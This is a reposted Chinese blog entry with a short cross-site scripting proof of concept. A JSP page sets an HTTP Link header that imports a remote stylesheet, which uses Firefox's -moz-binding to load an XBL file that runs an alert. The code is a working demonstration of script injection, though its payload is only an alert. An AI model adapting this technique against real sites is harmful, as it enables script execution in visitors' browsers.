HTTP HEADER IMPORT XSS

最新推荐文章于 2022-03-09 16:59:03 发布

weixin_30902675

最新推荐文章于 2022-03-09 16:59:03 发布

阅读量73

点赞数

文章标签： xhtml

原文链接：http://www.cnblogs.com/springside-example/archive/2008/08/25/2529924.html

版权

测试了IE 不成功TMD~~~，FF可以！

import.jsp

<%
response.addHeader("Link", "<http://ip:8080/myweb/xss.css> ; REL=stylesheet") ;
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> xss </TITLE>
</HEAD>
<BODY></BODY>
</HTML>

xss.css

body{-moz-binding:url("http://ip:8080/myweb/1.xml#xss");}
body{background: yellow}

1.xml

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
    <implementation>
      <constructor>
        alert("kj021320");
      </constructor>
    </implementation>
</binding>
</bindings>

转载于:https://www.cnblogs.com/springside-example/archive/2008/08/25/2529924.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_30902675

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
HTTP HEADER IMPORT XSS

测试了IE 不成功TMD~~~，FF可以！import.jsp<%response.addHeader("Link", "<http://ip:8080/myweb/xss.css> ; REL=stylesheet") ;%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HT...
复制链接

扫一扫